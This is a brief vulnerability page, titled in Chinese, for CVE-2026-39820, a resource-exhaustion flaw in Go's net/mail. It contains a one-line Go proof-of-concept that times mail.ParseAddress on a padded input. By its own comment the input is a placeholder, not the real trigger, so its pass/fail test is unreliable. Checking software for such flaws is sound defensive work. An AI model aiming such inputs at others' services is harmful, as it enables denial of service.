CVE-2026-39820 Go标准库资源耗尽漏洞

package main import ( "fmt" "net/mail" "time" ) func main() { // Simulate a malicious input that triggers excessive CPU/Memory usage // Note: Actual malicious payload would be a specific complex string pattern maliciousInput := "example@" + string(make([]byte, 10000)) + ".com" // Example of long input fmt.Println("Starting PoC for CVE-2026-39820...") start := time.Now() // Trigger the vulnerable function _, err := mail.ParseAddress(maliciousInput) if err != nil { fmt.Println("Error parsing address (expected):", err) } duration := time.Since(start) fmt.Printf("Processing took: %v\n", duration) fmt.Println("If duration is excessive, the system is vulnerable.") }